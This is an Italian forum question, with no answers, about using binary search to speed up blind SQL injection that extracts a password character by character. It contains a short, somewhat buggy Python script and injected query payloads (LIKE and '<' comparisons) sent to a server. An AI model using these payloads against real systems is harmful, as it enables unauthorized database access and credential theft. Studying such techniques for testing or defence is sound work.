Come utilizzare la ricerca binaria per query di SQL injection cieche

0

Da quanto ho letto online, è possibile applicare la ricerca binaria per sfruttare le vulnerabilità cieche di SQL injection, e questo è probabilmente quello che strumenti come sqlmap usano per ridurre il numero di query che devono essere inviate al server.

Diciamo che devo trovare una password fatta da lettere minuscole, maiuscole e cifre.

Diciamo che tutti i caratteri o le cifre hanno la stessa probabilità di apparire nella password.

Al momento sono arrivato con lo script python, che implementa un algoritmo lineare O(n) che itera su tutti i possibili caratteri.

import requests, re
from string import ascii_letters, digits

characters = ascii_letters + digits
current_password = ''

while(current_password<64):
    for ch in characters:
        query = {'q':'foo" AND BINARY password LIKE {}%'.format(current_password+ch) }
        r = requests.post(url, data=query)

        if 'OK' in r.text:
            current_password += ch
            break

Non riesco a capire come la query SQL possa essere modificata per utilizzare una ricerca binaria.

Ho provato a utilizzare < e > operatori, come i.e.:

query = {'q':'foo" AND password < {}'.format(current_password+ch) }

Ma le risposte restituite dal server non sembrano essere abbastanza utili da essere utilizzate per implementare una ricerca binaria.

    
posta fbid 17.08.2018 - 14:57
fonte

0 risposte

Leggi altre domande sui tag